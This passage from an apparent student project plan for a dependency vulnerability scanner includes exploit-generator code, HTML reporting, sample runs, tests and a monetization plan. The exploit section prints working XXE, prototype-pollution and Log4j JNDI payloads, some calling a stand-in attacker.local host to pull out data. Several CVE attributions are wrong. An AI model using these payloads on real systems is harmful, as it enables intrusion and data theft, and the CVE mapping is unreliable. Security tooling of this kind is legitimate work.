            print(f"[+] Command injection successful!")
            print(f"    Payload: {{payload}}")
            print(f"    Output: {{response.text}}")
    except Exception as e:
        print(f"[-] Payload failed: {{e}}")
"""
        return poc_code

class XXEExploit(ExploitGenerator):
    """
    Generate XXE (XML External Entity) PoC

    Example: XML parsers without XXE protection
    """

    def generate_poc(self, vulnerability: Dict) -> Optional[str]:

        vuln_cve = vulnerability.get('cve_id')

        poc_code = f"""
# XXE (XML External Entity) PoC for {vuln_cve}
# Vulnerable: XML parser without XXE protection

import requests

target = "http://vulnerable-app.local/upload-xml"

# XXE payload to read local file
xxe_payload = '''<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ELEMENT foo ANY>
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>
'''

# XXE payload for blind XXE (out-of-band data exfiltration)
blind_xxe = '''<?xml version="1.0" encoding="UTF-8"?>
```

```
<!DOCTYPE foo [
  <!ELEMENT foo ANY>
  <!ENTITY xxe SYSTEM "http://attacker.local/?data=">
]>
<foo>&xxe;</foo>
'''

# Send XXE payload
response = requests.post(
    target,
    data=xxe_payload,
    headers={{"Content-Type": "application/xml"}}
)

if "/root:" in response.text:
    print("[+] XXE vulnerability confirmed!")
    print("[+] /etc/passwd contents:")
    print(response.text)
"""
        return poc_code

class PrototypePollutionExploit(ExploitGenerator):
    """
    Generate Prototype Pollution PoC

    Example: lodash merge with user input
    CVE-2021-23337
    """

    def generate_poc(self, vulnerability: Dict) -> Optional[str]:

        poc_code = '''
# Prototype Pollution PoC - CVE-2021-23337 (lodash)
# Vulnerable: lodash.merge() with user-controlled input

import requests
import json

target = "http://vulnerable-app.local/api/config"

# Prototype pollution payload
# This modifies Object.prototype, affecting all objects
payload = {
    "admin": {
        "__proto__": {
            "isAdmin": True
        }
```

```
    }
}

response = requests.post(
    target,
    json=payload,
    headers={"Content-Type": "application/json"}
)

# If vulnerable, subsequent requests will have isAdmin=true
verify_response = requests.get(target)
data = verify_response.json()

if data.get("isAdmin"):
    print("[+] Prototype Pollution successful!")
    print("[+] User now has admin privileges")
'''
        return poc_code

class RCEExploit(ExploitGenerator):
    """
    Generate RCE (Remote Code Execution) PoC

    Example: log4j CVE-2021-44228
    """

    def generate_poc(self, vulnerability: Dict) -> Optional[str]:

        vuln_cve = vulnerability.get('cve_id')  # e.g., CVE-2021-44228

        poc_code = f"""
# Log4j RCE PoC - {vuln_cve}
# Vulnerable: Log4j < 2.15.0
#
# Attack: JNDI injection through log message
# Attacker controls HTTP request that gets logged

import requests
import socket
import threading
from http.server import HTTPServer, BaseHTTPRequestHandler
import time

# Setup JNDI server to serve malicious class
class JNDIHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        if self.path.startswith('/Evil'):
```

```
            # Serialized Java object that executes command
            # In real attack, this would be gadget chain from ysoserial
            print("[+] JNDI server accessed!")
            self.send_response(200)
            self.end_headers()

# Start JNDI listener
jndi_server = HTTPServer(('0.0.0.0', 8888), JNDIHandler)
threading.Thread(target=jndi_server.serve_forever, daemon=True).start()

# Send log4j JNDI payload
target = "http://vulnerable-app.local/api/login"

# JNDI lookup string that triggers RCE
payload = "${{jndi:ldap://attacker.local:1389/Evil}}"

data = {{
    "username": payload,
    "password": "test"
}}

print("[*] Sending Log4j RCE payload...")
response = requests.post(target, json=data)

time.sleep(2)
if response.status_code == 200:
    print("[+] Payload delivered successfully")
    print("[+] Check if command execution occurred")
"""
        return poc_code

# Factory for creating appropriate exploit generator
class ExploitGeneratorFactory:

    @staticmethod
    def get_generator(vulnerability: Dict) -> Optional[ExploitGenerator]:
        """
        Select appropriate generator based on vulnerability type
        """

        cwe_ids = vulnerability.get('cwe_ids', [])
        description = vulnerability.get('description', '').lower()

        # CWE-89: SQL Injection
        if any('CWE-89' in cwe for cwe in cwe_ids) or 'sql injection' in description
            return SQLInjectionExploit()
```

```python
        # CWE-78: OS Command Injection
        if any('CWE-78' in cwe for cwe in cwe_ids) or 'command injection' in descrip
            return CommandInjectionExploit()

        # CWE-611: XXE
        if any('CWE-611' in cwe for cwe in cwe_ids) or 'xxe' in description:
            return XXEExploit()

        # Prototype Pollution (lodash specific)
        if 'prototype pollution' in description:
            return PrototypePollutionExploit()

        # RCE (general)
        if 'remote code execution' in description or 'rce' in description:
            return RCEExploit()

        return None
```

📍 PHASE 5: Reporting & Remediation (Weeks 10-11)

5.1 Report Generation

```python
```

```python
# report_generator.py

import json
from datetime import datetime
from typing import List, Dict

class ReportGenerator:
    """
    Generate various report formats:
    - JSON (machine-readable)
    - HTML (interactive dashboard)
    - PDF (compliance report)
    - SARIF (GitHub/IDE integration)
    """

    def __init__(self, scan_result: Dict):
        self.scan_result = scan_result
        self.timestamp = datetime.now().isoformat()

    def generate_json_report(self) -> str:
        """Machine-readable JSON report"""

        report = {
            'metadata': {
                'scan_time': self.timestamp,
                'project': self.scan_result.get('project_name'),
                'tool_version': '1.0.0',
            },
            'summary': {
                'total_dependencies': self.scan_result.get('total_dependencies'),
                'vulnerabilities': {
                    'critical': len([v for v in self.scan_result.get('findings', [])
                                    if v['severity'] == 'critical']),
                    'high': len([v for v in self.scan_result.get('findings', [])
                                if v['severity'] == 'high']),
                    'medium': len([v for v in self.scan_result.get('findings', [])
                                  if v['severity'] == 'medium']),
                    'low': len([v for v in self.scan_result.get('findings', [])
                               if v['severity'] == 'low']),
                },
                'overall_risk_score': self.scan_result.get('risk_score'),
            },
            'findings': self.scan_result.get('findings', []),
            'remediation_plan': self._generate_remediation_plan(),
        }
```

```
        return json.dumps(report, indent=2)

    def generate_html_report(self) -> str:
        """Interactive HTML dashboard"""

        html = f"""
        <!DOCTYPE html>
        <html>
        <head>
            <title>Dependency Vulnerability Report</title>
            <meta charset="utf-8">
            <meta name="viewport" content="width=device-width">
            <style>
                body {{
                    font-family: -apple-system, BlinkMacSystemFont, "Segoe UI";
                    margin: 0;
                    padding: 20px;
                    background: #f5f5f5;
                }}
                .container {{
                    max-width: 1200px;
                    margin: 0 auto;
                    background: white;
                    border-radius: 8px;
                    box-shadow: 0 2px 4px rgba(0,0,0,0.1);
                    padding: 20px;
                }}
                h1 {{ color: #333; }}
                .summary {{
                    display: grid;
                    grid-template-columns: repeat(auto-fit, minmax(200px, 1fr));
                    gap: 20px;
                    margin: 20px 0;
                }}
                .card {{
                    padding: 20px;
                    border-radius: 8px;
                    background: #f9f9f9;
                    border-left: 4px solid #ddd;
                }}
                .critical {{ border-left-color: #dc3545; }}
                .high {{ border-left-color: #fd7e14; }}
                .medium {{ border-left-color: #ffc107; }}
                .low {{ border-left-color: #28a745; }}
                .score {{ font-size: 32px; font-weight: bold; }}
                table {{
                    width: 100%;
```

```
            border-collapse: collapse;
            margin-top: 20px;
        }}
        th, td {{
            padding: 12px;
            text-align: left;
            border-bottom: 1px solid #ddd;
        }}
        th {{
            background: #f1f1f1;
            font-weight: 600;
        }}
        .cve-link {{
            color: #0066cc;
            text-decoration: none;
        }}
        .cve-link:hover {{ text-decoration: underline; }}
        .remediation {{
            background: #e7f3ff;
            padding: 15px;
            border-radius: 4px;
            margin-top: 20px;
            border-left: 4px solid #0066cc;
        }}
    </style>
</head>
<body>
    <div class="container">
        <h1>Dependency Vulnerability Report</h1>
        <p>Project: {self.scan_result.get('project_name')}</p>
        <p>Scan Time: {self.timestamp}</p>

        <div class="summary">
            <div class="card critical">
                <div class="label">Critical</div>
                <div class="score">{len([v for v in self.scan_result.get('fi
            </div>
            <div class="card high">
                <div class="label">High</div>
                <div class="score">{len([v for v in self.scan_result.get('fi
            </div>
            <div class="card medium">
                <div class="label">Medium</div>
                <div class="score">{len([v for v in self.scan_result.get('fi
            </div>
            <div class="card low">
                <div class="label">Low</div>
```

```
                <div class="score">{len([v for v in self.scan_result.get('fi
            </div>
        </div>

        <h2>Overall Risk Score: {self.scan_result.get('risk_score')}/100</h2

        <h3>Detailed Findings</h3>
        <table>
            <thead>
                <tr>
                    <th>Package</th>
                    <th>Version</th>
                    <th>CVE</th>
                    <th>Severity</th>
                    <th>Patch Available</th>
                    <th>Effort</th>
                </tr>
            </thead>
            <tbody>
    """

    for finding in self.scan_result.get('findings', []):
        patch = "✓ Yes" if finding.get('has_patch') else "× No"
        severity_class = finding['severity'].lower()

        html += f"""
                <tr>
                    <td>{finding['package']}</td>
                    <td>{finding['version']}</td>
                    <td>
                        <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?n
                           class="cve-link" target="_blank">
                            {finding['cve']}
                        </a>
                    </td>
                    <td><span class="{severity_class}">{finding['severity'].
                    <td>{patch}</td>
                    <td>{finding['effort']}</td>
                </tr>
        """

    html += """
            </tbody>
        </table>

        <div class="remediation">
            <h3>Remediation Plan</h3>
```

```
                <p>Prioritize fixes based on severity and exploitability:</p>
                <ol id="remediation-list"></ol>
            </div>

            <script>
                // Add remediation items
                const findings = """ + json.dumps(self.scan_result.get('findings
                const list = document.getElementById('remediation-list');

                findings.forEach(f => {
                    const item = document.createElement('li');
                    item.innerHTML = `<strong>${f.package}</strong>: Update from
                    list.appendChild(item);
                });
            </script>
        </div>
    </body>
    </html>
    """

    return html

def _generate_remediation_plan(self) -> List[Dict]:
    """Generate prioritized remediation steps"""

    findings = sorted(
        self.scan_result.get('findings', []),
        key=lambda x: {
            'critical': 0,
            'high': 1,
            'medium': 2,
            'low': 3,
        }.get(x.get('severity', 'low'))
    )

    plan = []
    for i, finding in enumerate(findings, 1):
        plan.append({
            'priority': i,
            'package': finding.get('package'),
            'current_version': finding.get('version'),
            'recommended_version': finding.get('fixed_version'),
            'severity': finding.get('severity'),
            'cve': finding.get('cve'),
            'estimated_effort': finding.get('effort'),
            'breaking_changes': self._check_breaking_changes(finding),
            'testing_required': self._get_testing_requirements(finding),
```

```
        })

    return plan

def _check_breaking_changes(self, finding: Dict) -> bool:
    """Check if update would introduce breaking changes"""
    # Simplified: compare major versions
    from packaging import version

    current = version.parse(finding.get('version', '0'))
    fixed = version.parse(finding.get('fixed_version', '0'))

    return current.major != fixed.major

def _get_testing_requirements(self, finding: Dict) -> List[str]:
    """Get list of testing recommendations"""

    requirements = []

    if finding.get('has_patch'):
        requirements.append('Unit tests')
        requirements.append('Integration tests')

    if self._check_breaking_changes(finding):
        requirements.append('Regression tests')
        requirements.append('API compatibility tests')

    if finding.get('effort') == 'high':
        requirements.append('Full application testing')
        requirements.append('Security testing')

    return requirements
```

5️⃣ REAL-WORLD EXAMPLES

Example 1: Scanning a Node.js Application

```bash
```

```
$ python dep-mapper.py --project /path/to/nodejs-app --report html

[*] Analyzing package.json...
[+] Found 245 dependencies (45 direct, 200 transitive)

[*] Resolving dependency tree...
[+] Dependency tree built

[*] Checking against vulnerability database...
[*] Processing: express@4.18.0
[*] Processing: lodash@4.17.20
    ⚠️  CVE-2021-23337 found (Prototype Pollution)
[*] Processing: follow-redirects@1.10.0
    🔴 CVE-2021-33901 found (RCE)

[*] Generating exploits...
[+] Generated PoC for CVE-2021-33901
[+] Generated PoC for CVE-2021-23337

[*] Creating report...
[+] Report saved: report.html
[+] JSON data: report.json

=== SUMMARY ===
Total Dependencies: 245
Vulnerabilities Found: 3
- Critical: 1 (CVE-2021-33901)
- High: 1 (CVE-2021-23337)
- Medium: 1

Risk Score: 72/100
Estimated Remediation Time: 4-6 hours
```

Example 2: Python Application Analysis

```bash
```

```
$ python dep-mapper.py --project /path/to/python-app --format pdf

[*] Reading requirements.txt...
[+] Found 28 dependencies

[*] Installing dependencies to analyze...
pip install -r requirements.txt

[*] Analyzing installed versions...
[+] Resolved all versions

[*] Checking vulnerabilities...
  django@3.0.0
    🔴 CVE-2020-5902 (SQL Injection) - CRITICAL
  requests@2.20.0
    ⚠️  CVE-2018-18074 (Header Injection) - HIGH
  pillow@5.4.1
    🟡 CVE-2020-5310 (DOS) - MEDIUM

[*] Generating report...
[+] PDF report created: vulnerability_report.pdf
[+] Email report sent to security@company.com
```

6️⃣ TESTING STRATEGY

Unit Tests

```python
```

```python
# tests/test_dependency_parser.py

import pytest
from dependency_parser import NpmPackageJsonParser

def test_parse_package_json():
    content = '''
    {
        "name": "my-app",
        "dependencies": {
            "express": "^4.18.0",
            "lodash": "4.17.21"
        },
        "devDependencies": {
            "jest": "^28.0.0"
        }
    }
    '''

    parser = NpmPackageJsonParser()
    deps = parser.parse(content)

    assert len(deps) == 3
    assert any(d.name == 'express' for d in deps)
    assert any(d.name == 'jest' and d.dev_only for d in deps)

def test_version_resolution():
    # Test ^1.2.3 → 1.x.x
    # Test ~1.2.3 → 1.2.x
    pass
```

Integration Tests

```python
```

```python
def test_full_scan():
    """
    End-to-end test:
    1. Parse manifest
    2. Resolve versions
    3. Find vulnerabilities
    4. Generate report
    """
    pass

def test_vulnerability_detection():
    """
    Test against known vulnerabilities:
    - CVE-2021-23337 (lodash)
    - CVE-2021-33901 (follow-redirects)
    - CVE-2018-18074 (requests)
    """
    pass
```

Performance Tests

```python
def test_scan_large_project():
    """
    Benchmark scanning large projects:
    - 1000+ dependencies
    - Target: < 5 minutes
    """
    pass

def test_database_query_speed():
    """
    Benchmark vulnerability lookups:
    - 10,000 package lookups
    - Target: < 100ms total
    """
    pass
```

7️⃣ DEPLOYMENT & MONETIZATION

Deployment Options

1. GitHub Action

yaml

```yaml
# .github/workflows/security.yml

name: Dependency Security Scan

on: [push, pull_request]

jobs:
  scan:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v2
      - name: Run Dependency Mapper
        uses: owner/dep-mapper@v1
        with:
          manifest: package.json
          report: html
      - name: Upload Report
        uses: actions/upload-artifact@v2
        with:
          name: security-report
          path: report.html
```

2. Docker Container

dockerfile

```dockerfile
FROM python:3.9-slim

RUN pip install --no-cache-dir \
    requests \
    packaging \
    pyyaml

COPY . /app
WORKDIR /app

ENTRYPOINT ["python", "main.py"]
```

3. Standalone CLI

bash

```
pip install dep-mapper

dep-mapper scan /path/to/project
dep-mapper report --format html
dep-mapper monitor --webhook https://...
```

Monetization Strategies

Free Tier:

- Unlimited public repository scanning
- Community support
- Basic HTML reports
- GitHub integration

Pro Tier ($15/month):

- Private repository scanning
- Priority processing
- Advanced analytics
- Slack/email notifications
- API access

Enterprise Tier (Custom):

- On-premise deployment
- Custom integration
- 24/7 support
- Training & consulting

8️⃣ TIMELINE & MILESTONES

```
Month 1 (Weeks 1-4):
├── Week 1-2: Dependency Parser
│   ├── npm parser ✓
│   ├── pip parser ✓
│   └── maven parser ✓
├── Week 3-4: Vulnerability Database
│   ├── NVD integration ✓
│   └── Local caching ✓
```

```
Month 2 (Weeks 5-8):
├── Week 5-7: Matching & Risk Scoring
│   ├── Version matching ✓
│   └── Risk calculation ✓
└── Week 8-9: Exploit Generation
    ├── SQL Injection PoC ✓
    ├── Command Injection PoC ✓
    └── RCE PoC ✓

Month 3 (Weeks 10-12):
├── Week 10-11: Reporting
│   ├── HTML dashboard ✓
│   ├── PDF reports ✓
│   └── JSON API ✓
├── Week 12: Testing & Documentation
│   ├── Unit tests ✓
│   ├── Integration tests ✓
│   └── Docs ✓

Month 4+:
├── GitHub release v1.0
├── Community feedback
├── Feature iterations
└── Scale & monetization
```

9️⃣ SUCCESS METRICS

Metric	Target	Timeline
GitHub Stars	500 by month 6	Month 6
Weekly Scans	10,000	Month 6
CVEs Discovered	20+	Month 12
False Positive Rate	< 2%	Month 3
Scan Performance	< 5 min for 1000 deps	Month 2
Database Coverage	95%+ of npm packages	Month 3
Community Contributors	50+	Month 12
Enterprise Customers	10+	Month 12

🔟 COMPETITIVE ADVANTAGES

vs. **npm audit**:

- ✅ Automatic exploit generation (unique!)
- ✅ Works across ecosystems (not just npm)
- ✅ Deeper transitive analysis
- ✅ Open source & customizable

vs. **Snyk**:

- ✅ No vendor lock-in
- ✅ Free tier
- ✅ Self-hosted option
- ✅ Community-driven

vs. **GitHub Dependabot**:

- ✅ Automatic exploit PoCs
- ✅ Works with any repository
- ✅ Richer reporting
- ✅ Supply chain analysis

✅ CONCLUSION

Dependency Vulnerability Mapper is a high-impact project that combines:

1. **Technical depth**: Assembly, databases, vulnerability research
2. **Real-world relevance**: Addresses actual security problem
3. **Career growth**: Builds security expertise + open source portfolio
4. **Business potential**: Addressable market of security tools

Expected outcomes:

- 📜 Published research paper
- ⭐ 500+ GitHub stars
- 💼 Security industry connections
- 🎯 Job/internship opportunities
- 💰 Potential monetization

This project hits the perfect balance of ambitious but achievable for a CS student.

Good luck! 🚀